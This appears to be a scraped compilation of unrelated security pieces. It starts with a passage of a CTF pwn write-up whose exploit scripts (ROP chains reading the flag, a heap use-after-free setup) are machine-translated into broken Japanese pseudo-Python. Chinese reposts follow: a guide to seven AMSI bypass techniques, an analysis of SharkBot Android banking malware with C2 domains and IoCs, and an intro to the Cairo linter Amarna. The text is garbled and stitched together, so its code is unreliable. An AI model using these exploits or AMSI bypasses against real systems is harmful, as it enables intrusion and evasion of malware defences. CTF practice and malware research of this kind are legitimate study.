sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111')

lg（ 'pro_base'、pro_base）

lg（ 'libc_base'、libc_base）

＃一時停止（）

inter（）、そして電力をエスカレートします。

ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。

例えば

/home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です

Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。

signin

追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。

PWNインポートから *

ctypesをインポートします

ctypesからインポート *

コンテキスト（arch='amd64'、os='linux'、log_level='debug'）

file_name='./vuln'

libc=elf（ './libc.so.6'）

#libc=ctypes.cdll（ '/lib/x86_64-linux-gnu/libc.so.6'）

＃libc.srand.argtypes=[ctypes.c_uint]

Li=Lambda X : Print（ '\ x1b [01; 38; 5; 214m' + str（x） + '\ x1b [0m'）

ll=lambda x : print（ '\ x1b [01; 38; 5; 1m' + str（x） + '\ x1b [0m'）

＃context.terminal=['tmux'、 'splitw'、 '-H']

debug=1

debug:の場合

r=remote（ 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true）

else:

r=process（file_name）

libcc=cdll.loadlibrary（ './libc.so.6'）

libcc.srand（libcc.time（0））

elf=elf（file_name）

def dbg（）:

gdb.attach（r）

一時停止（）

def dbgg（）:

raw_input（）

r.send（ 'rbp'）

範囲（100）:のIの場合

a=libcc.rand（）％100+1

r.sendafter（ '認証コード: \ n'、p64（a）を入力）

r.sendafter（ '\ n'、p32（1））

#dbg（）

r.sendafter（ 'index: \ n'、p32（0））

r.sendafter（ 'note: \ n'、b'a '*0x10）

睡眠（0.5）

r.send（b'a '*0x108+p64（0x401893）+p64（0x404028）+p64（0x401110）+p64（0x4013c0）））

libc_base=u64（r.recvuntil（ '\ x7f'）[-6:] .ljust（8、b '\ x00'））-libc.sym ['puts']]

openn=libc_base+libc.sym ['open']

read=libc_base+libc.sym ['read']

書き込み=libc_base+libc.sym ['write']

rdi=libc_base +0x0000000000023b6a

rsi=libc_base +0x00000000002601f

rdx=libc_base +0x00000000142c92

印刷（hex（libc_base））

r.send（b'a '*0x108+p64（rsi）+p64（0x404180）+p64（read）+p64（0x4013c0））

r.send（ 'flag'）

睡眠（0.5）

r.send（b'a '*0x100+p64（0x404200）+p64（0x4013cf））

睡眠（0.5）

r.send（b'a '*0x100+p64（0x404300）+p64（0x4013cf））

睡眠（0.5）

#dbg（）

R.Send（b'flag \ x00 \ x00 \ x00 \ x00 '+p64（RDI）+P64（0x404200）+P64（RSI）+P64（0）+P64（RDX）+P64（0）+P64（Openn）+P64 （RDI）+P64（3）+P64（RSI）+P64（0x4041A0）+P64（RDX）+P64（0x30）+P64（READ）+P64（RDI）+P64（RDI）+P64（1）+P64（書き込み）））

R.Interactive（）

ゲストブック

メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです

PWNインポートから *

sysをインポートします

context.log_level='debug'

context.arch='amd64'

#libc=elf（ '/lib/x86_64-linux-gnu/libc.so.6'）

libc=elf（ './libc.so.6'）

フラグ=1

flag3360の場合

p=remote（ 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true）

else:

p=process（ './pwn'）

SA=Lambda S、N : P.Sendafter（S、N）

SLA=Lambda S、N : P.SendlineFter（S、N）

SL=Lambda S : P.Sendline（s）

sd=lambda s : p.send（s）

rc=lambda n : p.recv（n）

ru=lambda s : p.recvuntil（s）

ti=lambda : p.Itteractive（）

漏れ=ラムダ名、addr :log.success（name+' - '+hex（addr））

def dbg（）:

gdb.attach（p）

一時停止（）

DEF CMD（選択）:

ru（ ''）

SL（str（選択））

def add（index、size）:

CMD（1）

ru（ 'index'）

SL（str（index））

ru（ 'サイズ'）

SL（str（size））

def編集（index、content）:

CMD（2）

ru（ 'index'）

SL（str（index））

ru（ 'content'）

SD（コンテンツ）

def delete（index）:

CMD（3）

ru（ 'index'）

SL（str（index））

def show（index）:

CMD（4）

ru（ 'index'）

SL（str（index））

追加（0,0x520）

追加（1,0x500）

追加（2,0x510）

削除（0）

追加（3,0x568）

削除（2）

show（0）

mainarean=u64（ru（b '\ x7f'）[-6:] .ljust（8、b '\ x00'））

libc_base=mainarean-0x21b110

編集（0、b'a '*0x10）

show（0）

ru（b'a '*0x10）

heap_base=u64（p.recv（6）.ljust（8、b '\ x00'））-0x290

編集（0、P64（メイレアン）*2）

free_hook=libc_base+libc.sym ['__ free_hook']

ogs=[0xe3afe、0xe3b01,0xe3b04]

og=libc_base+ogs [1]

puts_io_all=libc_base + libc.sym ['_ io_list_all']

wfile=libc_base + libc.sym ['_ io_wfile_jumps']

addr=libc.symbols ['puts']+libc_base

fake_io_addr=heap_base +0x1720

lock=0x3ed8b0+libc_base

pop_rdi=libc_base + next（libc.search（asm（ 'pop rdi; ret;'））））））

pop_rsi=libc_base + next（libc.search（asm（ 'pop rsi; ret;'）））））

pop_rdx_r12=libc_base + next（libc.search（asm（ 'pop rdx; pop R12）

HireHackking

Windows 開發了反惡意軟件掃描接口(AMSI) 標準，允許開發人員在其應用程序中集成惡意軟件防禦。 AMSI 允許應用程序與系統上安裝的任何防病毒軟件進行交互，並防止基於腳本的動態惡意軟件執行。我們將在本文中了解更多關於AMSI、代碼實現和一些眾所周知的繞過方法。

背景簡而言之，它是微軟提供的基於腳本的惡意軟件掃描API，可以集成到任何應用程序中，以掃描和檢測用戶輸入的完整性，從而保護應用程序，從而保護消費者免受惡意軟件的攻擊。例如，一個消息應用程序可能會在將消息轉發給接收者之前掃描帶有AMSI 的消息以查找惡意軟件。

AMSI是獨立於供應商的，並提供開放的Win32 API 和COM 接口供開發人員使用。由於Microsoft 自己管理AMSI，因此會自動更新最新的惡意軟件簽名。因此，開發人員可以很容易地集成AMSI，以保護其消費者免受基於腳本的動態惡意軟件的攻擊。

AMSI 適用於基於簽名的檢測。這意味著對於每個特定的惡意關鍵字、URL、函數或過程，AMSI 在其數據庫中都有一個相關的簽名。因此，如果攻擊者再次在他的代碼中使用相同的關鍵字，AMSI 就會立即阻止執行。

惡意軟件命名規則在閱讀有關AMSI 工作原理的更多信息之前，讓我們先了解一下惡意軟件是如何命名的。在分析中，Windows 通常會檢測到惡意軟件，但分析人員無法確定惡意軟件的確切細節和行為。計算機防病毒研究組織(CARO) 給出了惡意軟件的標準命名約定。例如，基於快捷方式的caphaw 後門命名如下：

1.png

AMSI 工作原理作為一名開發人員，你可以使用AMSI 提供使用AMSI 的惡意軟件防禦。假設你創建了一個應用程序，該應用程序輸入一個腳本並使用像Powershell 這樣的腳本引擎執行。在進行輸入時，可以調用AMSI 以首先檢查惡意軟件。 Windows 提供COM 和Win32 API 來調用AMSI。 AMSI 的執行流程如下：

2.png

AMSI API 是開放的，因此任何殺毒軟件都可以從其函數中讀取數據。此時，一個Windows 腳本就會運行。當它通過AMSI 時，amsi.dll 被注入到與我們程序相同的虛擬內存中。這個amsi.dll 有各種可以評估代碼的函數。但是，實際的掃描任務是由這兩個函數執行的：

AmsiScanString()

AmsiScanBuffer()這些函數的作用是評估代碼。如果代碼是乾淨的，則結果最終會傳遞給殺毒軟件提供程序類，然後使用RPC 調用從那里傳遞給殺毒軟件服務。如果代碼可疑，則會被AMSI 阻止。

AMSI 繞過方法既然我們已經討論了AMSI 的基礎知識，我們將討論一些非常著名的繞過AMSI 的技術。為了執行橫向移動/特權升級的任意代碼，滲透測試人員通常需要繞過AMSI。

如要討論所有繞過方法則超出了本文的範圍，因為每天都有新方法出現。本文將討論其中最突出的幾個，並在Windows 10 1809版本上進行了測試。值得注意的是，隨著簽名的不斷更新，Windows的最新版本(超過1903年)幾乎阻止了互聯網上所有可用的方法。

注意：AMSI 會阻止某些關鍵字，如“invoke-mimikatz”或“amsiutils”，因為它們被廣泛用於利用，因此，作為概念證明，我們將僅在繞過後運行這些命令。此處不會繞過實際的有效載荷。

Microsoft 已將AMSI 集成在powershell 終端（powershell.exe 應用程序）中，該終端接收輸入並通過Powershell 引擎對其進行解析。如果我們打開進程黑客並蒐索amsi.dll，我們會看到amsi 正在powershell 終端中運行，任何輸入都會首先被掃描。

3.png

方法1：Powershell降級如果你正在運行基於powershell 的有效負載並且AMSI 阻止了它，你可以將你的powershell 版本降級到2.0，因為AMSI 僅在2.0 之後的版本中受支持。首先，你可以看到我們的關鍵字被amsi屏蔽了。

4.png

讓我們檢查一下PS 的當前版本，然後降級到版本2 並再次運行這些被阻止的命令。

5.png

但正如你想像的那樣，這裡最大的缺點是許多現代函數或腳本無法在Powershell 2.0 上運行。

方法2：混淆混淆是指使代碼變得複雜和不可讀的技巧。 AMSI 根據某些關鍵字檢測簽名，因此對這些關鍵字進行模糊處理是有效的。例如，讓我們混淆invoke-mimikatz 命令

6.png

如你所見，只需斷開一個字符串並使用+運算符將它們連接起來，這樣就可以繞過AMSI。

然而，這種技術也有它自己的缺點。有效載荷可能會觸發AMSI多次。在每次運行有效負載後，一直對關鍵字進行模糊處理實際上非常耗時，而且會產生噪音。因此，手動混淆一直對關鍵字進行模糊處理實際上非常耗時，而且會產生噪音最好。

RhytmStick 開發了這個工具“AmsiTrigger”，它可以針對AMSI 掃描腳本/有效負載，並告訴我們哪些行會觸發AMSI，然後我們可以混淆它們！你可以在此處下載該工具。

現在，我們使用以下命令創建了一個名為demo.ps1 的腳本

7.png

我想使用AmsiTrigger 對照AMSI 進行檢查。具體過程如下：

8.png

現在，就可以知道AMSI 阻止執行的行。我們可以繼續使用字符串連接方法對它們進行混淆，例如：

9.png

現在，它們可以運行並成功繞過AMSI！

10.png

你也可以嘗試https://amsi.fail 來混淆你的代碼。

方法3：強制執行錯誤Matt Graeber 在他的推文中談到了繞過AMSI 的方法。如果在上述場景中啟動AMSI 掃描，則存在一個名為amsiInitFailed() 的函數，該函數將拋出0。這種繞過基本上是為amsiInitFailed 分配一個布爾True 值，以便AMSI 初始化失敗，不會對當前進程進行任何掃描！代碼如下：

11.png

這之後，許多人發布了相同方法的不同版本。在某些方法中使用字節碼，在其他方法中，替換函數或替換字符串，但邏輯都相同。

方法4：內存劫持Daniel Duggan 在他的博客中發布了關於可以繞過AMSI 的內存劫持技術。其邏輯是掛鉤函數AmsiScanBuffer() 以便它始終返回句柄AMSI_RESULT_CLEAN 指示AMSI 是否發現惡意軟件。可以使用Rohitab 的API 監控工具監控API 響應。

首先，通過我們下載Invoke-Mimikatz 腳本，查看AMSI 是否正常工作。

12.png

為了減少將代碼編譯為DLL 的麻煩，你可以查看我的fork。下載後，確保將主包的名稱從“AmsiScanBufferBypass”更改為“Project”或任何你喜歡的名稱，因為AMSI 也會阻止字符串“AmsiScanBufferBypass”！

下載之後，進入發布文件夾，看到一個名為ASBBypass.dll的DLL。請注意，由於我們現在有一個DLL，它也可以與我們的EXE 有效負載集成，並且會繞過AMSI！

這樣內聯C# 代碼僅使用powershell 終端激活補丁！

13.png

如你所見，amsi 現在已經被繞過了！

方法5：內存劫持（混淆操作碼）在Rasta Mouse (Daniel Duggan) 技術開始被檢測到後，人們對代碼進行了各種更改以使其再次FUD。 Fatrodzianko 在他的博客中發布了一種這樣的技術。他使用操作碼混淆了相同的代碼，可以查看腳本。

要運行腳本，只需下載它，重命名它（以避免AMSI 檢測關鍵字），然後像這樣運行：

14.png

如你所見，我們現在已經成功繞過了AMSI。

方法6：使用反射技術繞過AMSI根據微軟的說法，Reflection 提供了描述程序集、模塊和類型的對象（Type 類型）。你可以使用反射來動態創建類型的實例，將類型綁定到現有對象，或從現有對象獲取類型並調用其方法或訪問其字段和屬性。如果你在代碼中使用屬性，反射可以讓你訪問它們。

Paul Laine 在contextis.com 上發布了原始的內存劫持方法。 Shantanu Khandelwal 使用Matt Graeber 的反射技術將相同的代碼轉換為完整的內存補丁。 Shantanu 使代碼更加隱秘，因為現在沒有留下任何磁盤上的繞過製品。

我們不會在本文中演示原始補丁，但反射更新可以下載。確保下載並重命名腳本並避免使用“amsibypass”等關鍵字，因為它們會被阻止。我已將其重命名為“am-bp-reflection.ps1”

15.png

方法7：Nishang All in One 腳本Nikhil Mittal 在他著名的工具“Nishang”中添加了一個AMSI 繞過腳本。該腳本結合了6 種不同的方法來一次運行繞過AMSI。具體如下：

unload——Matt Graeber 的方法。從當前PowerShell 會話中卸載AMSI。

unload2——Matt Graeber 的另一種方法。從當前PowerShell 會話中卸載AMSI。

unloadsilent——Matt Graeber 的另一種方法。卸載AMSI 並避免WMF5 自動記錄。

unloadobfuscated——上面的“卸載”方法使用Daneil Bohannon 的Invoke-Obfuscation 進行了混淆，這就避免了WMF5 自動記錄。

dllhijack——Cornelis de Plaa 的方法。代碼中使用的amsi.dll來自p0wnedshell。

psv2——如果.net 2.0.50727 在Windows 10 上可用。 PowerShell v2 已啟動，它不支持AMSI。

我們只需下載腳本並運行，該工具將使用有效方法自動繞過AMSI。例如，這裡WMF5 自動記錄繞過已經奏效。此方法可以從當前終端卸載AMSI 並繞過它。

從這裡下載腳本並將其重命名為“nishang.ps1”並像這樣運行它：

16.png

總結在本文中，我們討論了AMSI的工作流程以及繞過它們的7 種方法。需要注意的是，還有比本文介紹的更多的方法，但本文的目的只是討論最廣為人知的7 種繞過AMSI 的方法。

HireHackking

近年來Android 惡意軟件的數量有所增加，尤其是Android 銀行惡意軟件。其中一個系列是一款名為SharkBot 的Android 銀行惡意軟件。在我們的研究中，我們注意到該惡意軟件是通過Google Play 官方商店分發的。

我們在Google Play 商店中發現了很多的SharkBot droppers，C2 服務器也用於所有其他的dropper。發現後，我們立即向Google 報告了這一情況。有關新發現的SharkBot dropper 應用程序的Google Play 商店URL，請參閱下面的IoC 部分。

0x01 總體概括SharkBot 是Cleafy 團隊於2021 年10 月末發現的一種Android 銀行惡意軟件。在撰寫本文時，SharkBot 惡意軟件與Flubot、Cerberus/Alien、Anatsa/Teabot、Oscorp 等其他Android 銀行惡意軟件沒有任何關係。

https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europeCleafy 文章指出，SharkBot 的主要目標是通過自動轉賬系統(ATS) 從從受感染的設備發起資金轉賬。據我們觀察，這種技術是一種高級攻擊技術，在Android 惡意軟件中並不經常使用。它使攻擊者能夠在合法的移動銀行應用程序中自動填寫字段並啟動匯款，而其他Android 銀行惡意軟件（如Anatsa/Teabot 或Oscorp）需要現場操作員授權匯款。這種技術還允許攻擊者以最小的努力擴大他們的成果。

ATS 功能允許惡意軟件接收要模擬的事件列表，並將模擬它們以進行匯款。由於此功能可用於模擬觸摸、點擊和按鈕按下，因此它不僅可用於自動轉賬，還可用於安裝其他惡意應用程序或組件。這就是我們在Google Play 商店中找到的SharkBot 版本的情況，它似乎是SharkBot 的簡化版本，具有最低要求的功能，例如ATS，可以在初始安裝後的某個時間安裝惡意軟件的完整版本。

由於是通過Google Play 商店規避防病毒軟件進行分發的，受感染設備必須下載安裝才能傳播惡意應用程序。 SharkBot 通過利用“Direct Reply”的Android 功能來實現這一點。此功能用於自動發送回复通知以及下載虛假防病毒應用程序的消息。這種利用直接回复功能的傳播策略最近出現在另一個名為Flubot的銀行惡意軟件中，該惡意軟件由ThreatFabric 發現。

與其他家族不同的是，SharkBot 很可能使用ATS 還繞過多因素身份驗證機制，包括生物特徵等行為檢測，同時它還包括更多經典功能來竊取用戶的憑據。

1.憑證竊取功能SharkBot 實施了四種主要策略來竊取Android 系統中的銀行憑證：

注入（覆蓋攻擊）：一旦檢測到官方銀行應用程序已打開，SharkBot 就可以通過顯示帶有虛假登錄網站（網絡釣魚）的WebView 來竊取憑據。

鍵盤記錄： Sharkbot可以通過記錄可訪問性事件（與文本字段更改和單擊按鈕相關）並將這些日誌發送到命令和控制服務器（C2）來竊取憑據。

短信攔截： Sharkbot 具有攔截/隱藏短信的能力。

遠程控制/ATS：Sharkbot 能夠獲得對Android 設備的完全遠程控制（通過輔助功能服務）。

對於大多數這些功能，SharkBot 需要受害者啟用Accessibility Permissions Services。這些權限允許Android 銀行惡意軟件攔截用戶與用戶界面交互產生的所有可訪問性事件，包括按鈕按下、觸摸、TextField 更改（對鍵盤記錄功能有用）等。攔截的可訪問性事件還允許檢測前台應用程序，因此銀行惡意軟件也使用這些權限來檢測目標應用程序何時打開，以進行網絡注入以竊取用戶的憑據。

2.軟件分發Sharkbot 通過Google Play 商店進行分發，但也使用了Android 惡意軟件中的新技術：“Direct reply”通知功能。借助此功能，C2 可以向惡意軟件發送命令消息，該命令消息將用於Direct reply受感染設備消息。 Flubot最近引入了此功能，以使用受感染的設備分發惡意軟件，但似乎SharkBot攻擊者在最近的版本中也加入了此功能。

在下圖中，我們可以看到SharkBot 用於攔截新通知的代碼，並自動將收到的來自C2 的消息進行回复。

img

在下圖中，我們可以看到受感染的測試設備收到的“autoReply”命令，其中包含一個Bit.ly 短鏈接，該鏈接會重定向到Google Play 商店。

img

我們檢測到SharkBot於去年2 月28 日在Google Play 上發布，最後一次更新是在今年2 月10 日，該應用程序已經發布了一段時間。這個簡化版本使用相似協議與C2 通信，RC4 加密Payload和公共RSA 密鑰用於加密RC4 密鑰，因此C2 服務器可以使用相同的密鑰解密請求並加密響應。這個SharkBot 版本，我們可以稱之為SharkBotDropper，主要用於從C2 服務器下載一個全功能的SharkBot，它將使用自動傳輸系統(ATS) 安裝（模擬點擊和触摸，具有Accessibility 權限）。

這個惡意dropper 在Google Play 商店中作為假的防病毒軟件發布，它實際上有兩個主要功能和從C2 接收命令：

使用“Direct reply”功能傳播惡意軟件：它可以接收帶有消息的“Direct reply”命令，該消息應用於Direct reply受感染設備中收到的任何通知。我們研究發現，它一直在通過Bit.ly URL 短鏈接傳播相同的Google Play dropper。

img

Dropper+ATS：ATS 功能用於安裝從C2 獲取的下載的SharkBot 示例。在下圖中，我們可以看到從C2 接收到的解密響應請求，其中dropper 接收命令“ b ”以從提供的URL 下載完整的SharkBot 樣本，並模擬ATS 事件以安裝惡意軟件。

img

使用此命令，從Google Play 商店安裝的應用程序能夠為其下載的全功能SharkBot樣本安裝和啟用輔助功能權限。它將用於最終執行ATS 欺騙，以從受害者那裡竊取金錢和憑證。

在Google Play 商店中發布的假殺毒應用SharkBotDropper 的下載量已超過1,000 次，還有一些假評論，如“效果很好”，還有一些受害者的評論，他們意識到這個應用做了一些奇怪的事情。

img

0x02 技術分析1.C2協議用於與C2 服務器通信的協議是基於HTTP 的協議。 HTTP 請求是明文發出的，因為沒有使用HTTPs。即便如此，包含發送和接收信息的實際Payload是使用RC4 加密的。用於加密信息的RC4 密鑰是為每個請求隨機生成的，並使用每個樣本中硬編碼的RSA 公鑰進行加密。這樣，C2 可以解密加密的密鑰（ HTTP POST 請求中的rkey字段）並最終解密發送的Payload（ HTTP POST 請求中的rdata字段）。

img

如果看一下解密後的Payload，可以看到SharkBot 是如何簡單地使用JSON 發送有關受感染設備的不同信息並從C2 接收要執行的命令。在下圖中，我們可以看到從受感染設備發送的解密後的RC4 Payload。

img

請求中發送的兩個重要字段是：

ownerID

botnetID

這些參數是硬編碼的，並且在分析的樣本中具有相同的值。我們猜測這些值將來可用於識別此惡意軟件的不同買家，根據我們的調查，該惡意軟件尚未在地下論壇上出售。

2.域生成算法SharkBot 包括一個或兩個註冊的Domain/URL，但如果硬編碼的C2 服務器被關閉，它還包括一個域生成算法(DGA)，以便將來能夠與新的C2 服務器通信。

img

DGA 使用當前日期和特定的後綴字符串('pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf') 最終將其編碼為base64 並獲取前19 個字符。然後，它附加不同的TLD 以生成最終的候選域。

img

使用的日期元素是：

一年中的一周（代碼中的v1.get(3)）

年份（代碼中的v1.get(1)）

它使用'+'運算符，但由於年份的星期和年份是整數，因此它們是相加的，因此例如：對於2022年的第二週，生成的要進行base64編碼的字符串為：2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=“2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”。

在以前版本的SharkBot（從2021 年11 月至12 月）中，它僅使用一年中的當前一周來生成域。將年份加入到生成算法中似乎是為了更好地支持2022 年的更新。

3.木馬命令SharkBot 可以從C2 服務器接收不同的命令，以便在受感染的設備中執行不同的操作，例如發送短信、下載文件、注入等。它可以接收和執行的命令列表如下：

smsSend : 用於由TA 向指定的電話號碼發送短信

updateLib：用於請求惡意軟件從指定的URL 下載新的JAR 文件，其中應包含惡意軟件的更新版本

updateSQL：用於發送要在SQLite 數據庫中執行的SQL 查詢，Sharkbot 使用它來保存惡意軟件的注入等配置

stopAll：用於重置/停止ATS 功能，停止正在進行的自動化功能。

updateConfig：用於向惡意軟件發送更新的配置。

uninstallApp：用於從受感染設備上卸載指定的應用程序

changeSmsAdmin：用於更改短信管理器應用

getDoze : 用於檢查是否啟用忽略電池優化的權限，如果未啟用，則顯示Android 設置以禁用它們

sendInject：用於顯示覆蓋以竊取用戶的憑據

getNotify：如果沒有為惡意軟件啟用通知監聽器設置，則進行顯示。啟用此權限後，Sharkbot 將能夠攔截通知並將其發送到C2

APP_STOP_VIEW：用於關閉指定的應用程序，因此每次用戶嘗試打開該應用程序時，Accessibility Service 都會關閉它

downloadFile : 用於從指定的URL 下載一個文件

updateTimeKnock：用於更新Robot的最後一次請求時間戳

localATS：用於啟用ATS 攻擊。它包括一個JSON 數組，其中包含它應該模擬以執行ATS（按鈕單擊等）的不同事件/動作

img

4.ATS技術SharkBot 的一個獨特之處在於它使用了一種稱為自動傳輸系統(ATS) 的技術。 ATS 是針對Android 的銀行惡意軟件使用的一種相對較新的技術。

總而言之，ATS 與webinject 類似，只是用於不同的目的。它使用憑證在端點上自動啟動電子傳輸，這樣就不需要登錄和繞過2fa 或其他反欺詐措施，並不會收集憑證用於使擴展成果。然而，它是非常個性化的，需要對每個銀行、金額、貨幣等進行相當多的維護。這可能是ATS 在(Android)銀行惡意軟件中並不流行的原因之一。

一旦登錄到他們的銀行應用程序，惡意軟件就會收到一系列事件（點擊/觸摸、按鈕按下等）以特定順序進行模擬。這些事件用於模擬受害者與銀行應用程序的交互以進行匯款，就好像用戶自己進行匯款一樣。

這樣，通過模擬不同的事件從受害者的設備進行匯款，這使得欺詐檢測系統更難以檢測欺詐行為。

5.IOC樣本哈希：

a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper)

9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1)

20e8688726e843e9119b33be88ef642cb646f1163dce4109b8b8a2c792b5f9fc (Google play SharkBot dropper)

187b9f5de09d82d2afbad9e139600617685095c26c4304aaf67a440338e0a9b6 (Google play SharkBot dropper)

e5b96e80935ca83bbe895f6239eabca1337dc575a066bb6ae2b56faacd29dd (Google play SharkBot dropper)

SharkBotDropper C2：

hxxp://statscodicefiscale[.]xyz/stats/

用於分發惡意軟件的URL：

hxxps://bit[.]ly/34ArUxI

Google Play 商店網址：

https://play.google.com/store/apps/details?id=com.abbondioendrizzi.antivirus.supercleaner

https://play.google.com/store/apps/details?id=com.abbondioendrizzi.tools.supercleaner

https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.alpha

https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.supercleaner

SharkBot 的C2 服務器/域名：

n3bvakjjouxir0zkzmd[.]xyz (185.219.221.99)

mjayoxbvakjjouxir0z[.]xyz (185.219.221.99)

SharkBot 中用於加密rc4密鑰的RSA 公鑰：

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2R7nRj0JMouviqMisFYt0F2QnScoofoR7svCcjrQcTUe7tKKweDnSetdz1A+PLNtk7wKJk+SE3tcVB7KQS/WrdsEaE9CBVJ5YmDpqGaLK9qZhAprWuKdnFU8jZ8KjNh8fXyt8UlcO9ABgiGbuyuzXgyQ VbzFfOfEqccSNlIBY3s+LtKkwb2k5GI938X/4SCX3v0r2CKlVU5ZLYYuOUzDLNl6KSToZIx5VSAB3VYp1xYurRLRPb2ncwmunb9sJUTnlwypmBCKcwTxhsFVAEvpz75opuMgv8ba9Hs0Q21PChxu98jNPsgIwUn3xmsMUl0rNgBC3MaPs8nSgcT4oUXaVwIDAQAB在Google Play SharkBotDropper 中用於加密rc4密鑰的RSA 公鑰：

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu9qo1QgM8FH7oAkCLkNO5XfQBUdl+pI4u2tvyFiZZ6hMZ07QnlYazgRmWcC5j5H2iV+74gQ9+1cgjnVSszGbIwVJOQAEZGRpSFT7BhAhA4+PTjH6CCkiyZTk7zURvgBCrXz6+B1XH0OcD4YUYs4OGj8P d2KY6zVocmvcczkwiU1LEDXo3PxPbwOTpgJL+ySWUgnKcZIBffTiKZkry0xR8vD/d7dVHmZnhJS56UNefegm4aokHPmvzD9p9n3ez1ydzfLJARb5vg0gHcFZMjf6MhuAeihFMUfLLtddgo00Zs4wFay2mPYrpn2x2pYineZEzSvLXbnxuUnkFqNmMV4UJwIDAQAB

HireHackking

我們正在開源Amarna，這是我們用於Cairo 編程語言的新靜態分析器和linter（檢查代碼風格/錯誤的小工具）。 Cairo 是一種編程語言，為擁有數百萬美元資產的多個交易交易所提供支持（例如由StarkWare 驅動的dYdX），並且是StarkNet 合約的編程語言。但是，與其他語言不同，它也有一些奇怪的功能。因此，我們將首先簡要概述該語言、其生態系統以及開發人員應注意的該語言中的一些漏洞。然後，我們將介紹Amarna 並討論它是如何工作的？

為什麼我們需要Cairo？ Cairo以及類似的語言(如Noir和Leo)的目的是編寫“可證明的程序”，其中一方運行程序並創建一個證明，證明它在給定特定輸入時返回特定輸出。

假設我們想將程序的計算外包給某個服務器，並且需要保證結果是正確的。使用Cairo，我們可以獲得程序輸出正確結果的證明；我們只需要驗證證明而不是自己重新計算函數（這將違背外包計算的初衷）。

總之，我們採取了以下步驟：

1.導出我們要計算的函數。

2.使用的具體輸入在工作設備上運行該函數，獲得結果，並生成計算有效性的證明。

3.通過驗證證明來驗證計算。

Cairo編程語言如上所述，Cairo 編程模型涉及兩個關鍵角色：運行程序並創建程序返回特定輸出的證明的驗證程序，以及驗證驗證程序創建的證明的驗證程序。

然而，在實踐中，Cairo 程序員實際上不會自己生成或驗證證明。相反，生態系統包括以下三個部分：

1.SHARed Prover (SHARP) 是一個公共驗證程序，它為用戶發送的程序跟踪生成有效性證明。

2.證明驗證程序合約驗證程序執行的有效性證明。

3.可以查詢事實註冊合約來檢查某個事實是否有效。

事實註冊表是一個數據庫，用於存儲程序事實，或從程序及其輸出的哈希計算的值；創建程序事實是將程序綁定到其輸出的一種方法。

這是Cairo的基本工作流程：

1.用戶編寫程序並將其跟踪提交給SHARP（通過Cairo Playground 或命令cairo-sharp）。

2.SHARP 為程序跟踪創建一個STARK 證明，並將其提交給證明驗證程序合約。

3.證明驗證程序合約驗證證明，如果有效，則將程序事實寫入事實註冊表。

4.任何其他用戶現在都可以查詢事實註冊表合約以檢查該程序事實是否有效。

還有兩件事要記住：

Cairo 的內存是一次性寫入的：一個值寫入內存後，就無法更改。

assert語句assert a=b的行為會根據a是否被初始化而不同：如果a 未初始化，則assert 語句將b 分配給a；如果a 被初始化，assert 語句斷言a 和b 相等。

儘管Cairo 的語法和關鍵字的細節很有趣，但我們不會在這篇文章中討論這些主題。

設置和運行Cairo代碼現在我們已經簡要地概括了Cairo語言，接下來討論如何設置和運行Cairo代碼。考慮以下簡單的Cairo程序。這個函數計算一對數字(input, 1) 的Pedersen 哈希函數，並在控制台中輸出結果：

1.png

要設置Cairo 工具，我們使用Python 虛擬環境：

2.png

然後，我們編譯程序：

3.png

最後，我們運行程序，它將輸出以下值：

4.png

這個值就是(4242, 1)的Pedersen hash對應的字段元素。

現在，假設我們將輸入從4242 更改為某個隱藏值，而是為驗證程序提供以下輸出：

5.png

為什麼驗證程序會相信我們？好吧，我們可以證明我們知道使程序返回該輸出的隱藏值！

為了生成證明，我們需要計算程序的哈希來生成程序事實。這個哈希值不依賴於輸入值，因為賦值是在一個提示中進行的(這是Cairo的一個奇怪設置，我們將在本文後面討論)：

6.png

6.2.png

然後，我們可以通過使用事實註冊表合約並以程序事實作為輸入調用isValid 函數來檢查程序事實的有效性：

7.png

調用isValid 函數檢查程序事實有效性的結果。

概括地說，我們運行了程序，SHARP創建了一個可以在事實註冊表中查詢的證明，以檢查其有效性，證明我們確實知道將導致程序輸出該值的輸入。

現在，我實際上可以告訴你，我使用的輸入是71938042130017，你可以繼續檢查結果是否匹配。

Cairo功能Cairo有幾個奇怪功能，新的Cairo程序員可能還使不習慣。我們將描述三個容易被濫用並導致安全問題的Cairo 習慣：Cairo 提示、遞歸和欠約束結構之間的相互作用以及非確定性跳轉。

提示

提示是特殊的Cairo 語句，基本上使驗證程序能夠編寫任意Python 代碼。是的，以Cairo 提示編寫的Python 代碼實際上是被執行的！

提示寫在%{ %} 中。我們已經在第一個示例中使用它們給輸入變量賦值：

8.png

8.2.png

因為Cairo 可以在提示中執行任意Python 代碼，所以你不應該在自己的設備上運行任意Cairo 代碼，這樣做可以將你的設備的完全控制權授予編寫代碼的人。

提示通常用於編寫僅由驗證程序執行的代碼。證明驗證程序甚至不知道提示的存在，因為提示不會改變程序哈希。下面來自Cairo playground的函數計算一個正整數n的平方根：

9.png

